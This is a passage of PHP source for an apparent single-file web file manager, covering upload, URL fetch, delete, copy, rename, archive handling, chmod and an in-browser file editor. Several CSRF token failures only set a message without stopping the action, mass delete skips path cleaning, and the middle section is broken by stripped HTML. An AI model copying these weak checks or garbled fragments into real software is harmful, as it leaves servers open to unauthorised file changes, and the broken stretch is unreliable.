.= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), 